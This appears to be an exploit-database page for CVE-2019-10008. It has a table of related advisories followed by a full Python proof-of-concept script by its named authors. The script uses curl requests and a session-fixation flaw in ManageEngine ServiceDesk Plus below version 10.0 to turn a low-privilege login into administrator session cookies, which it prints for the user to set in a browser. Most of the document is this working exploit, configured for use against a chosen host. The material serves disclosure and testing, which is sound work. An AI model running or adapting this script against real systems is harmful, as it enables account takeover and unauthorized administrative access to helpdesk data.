| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| ManageEngine ServiceDesk Plus 9.3 - User Enumeration Vulnerability | 9 Apr 201900:00 | – | zdt | |
| Exploit for Session Fixation in Zohocorp Servicedesk_Plus | 4 Apr 201918:20 | – | githubexploit | |
| CVE-2019-10008 | 24 Apr 201918:58 | – | cve | |
| CVE-2019-10008 | 24 Apr 201918:58 | – | cvelist | |
| EUVD-2019-2073 | 7 Oct 202500:30 | – | euvd | |
| Manage Engine ServiceDesk Plus 10.0 - Privilege Escalation | 5 Apr 201900:00 | – | exploitpack | |
| ManageEngine ServiceDesk Plus 9.3 - User Enumeration | 8 Apr 201900:00 | – | exploitpack | |
| CVE-2019-10008 | 24 Apr 201919:29 | – | nvd | |
| ManageEngine ServiceDesk Plus 9.3 User Enumeration | 5 Apr 201900:00 | – | packetstorm | |
| Session fixation | 24 Apr 201919:29 | – | prion |
#!/usr/bin/python
# Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation
# Date: 30-03-2019
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
# Vendor: ManageEngine
# Vendor Homepage: www.manageengine.com
# Product: Service Desk Plus
# Version: 10.0
# Tested On: Kali Linux
# CVE: CVE-2019-10008
# Platform: JSP
# Timeline
# 22 march 2019: Discovery
# 24 march 2019: CVE id reserved for CVE-2019-10008
# 26 march 2019: First contact with vendor
# 5 april 2019: First publication
# 10 april 2019: Vendor confirmation
# 11 april 2019: Vendor released a fix (version 10017)
# Reference link: https://www.manageengine.com/products/service-desk/readme.html
import os
import re
# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.
# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.
#Host ip address + port
host="localhost:8080"
#set to https if needed
url = "http://" + host
#Username with credentials you have
low_username="guest"
low_password="guest"
#username you want to login as
high_username="administrator"
print("\033[1;37mUrl: \033[1;32m" + url)
print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)
print("\033[1;32mGetting a session id\033[1;37m")
# Get index page to capture a session id
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' -H $'Referer: "+url+"/' -H $'Connection: close'\
$'"+url+"/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print("Sessid:")
print(sessid)
print("\033[1;31mLogging in with low privilege user\033[1;37m")
#Attempt login post request
curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\
-H $'Referer: "+url+"/'\
-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
-b $'JSESSIONID="+sessid+"' \
--data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\
hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\
dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \
$'"+url+"/j_security_check'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
#Instead of following redirects with -L, following manually because we don't need all the transactions.
curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
-H $'Referer: "+url+"/'\
-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
-b $'JSESSIONID="+sessid+"' \
$'"+url+"/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
print("\033[1;32mCaptured authenticated cookies.\033[1;37m")
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print(sessid)
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
print(sessidsso)
grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out)
grbl2 = []
for cookie in grbl:
cl = cookie.split('=')
if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem':
grbl2.append(cl[0])
grbl2.append(cl[1])
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print("\033[1;32mCaptured secondary sessid.\033[1;37m")
print(sessid2)
print("\033[1;31mDoing the magic step 1.\033[1;37m")
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Referer: "+url+"/mc/WOListView.do' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCLogOut.jsp'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
print("\033[1;31mDoing the magic step 2.\033[1;37m")
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCDashboard.jsp'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
curl = "curl -i -s -k -X $'POST' \
-H $'"+host+"' \
-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
--data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \
$'"+url+"/mc/j_security_check'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCDashboard.jsp'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
print("JSESSIONID=" + sessidhigh)
print("JSESSIONIDSSO=" + sessidssohigh)
print(grbl2[0] + "=" + grbl2[1])
print(grbl2[2] + "=" + grbl2[3])
print("_rem=true")Data
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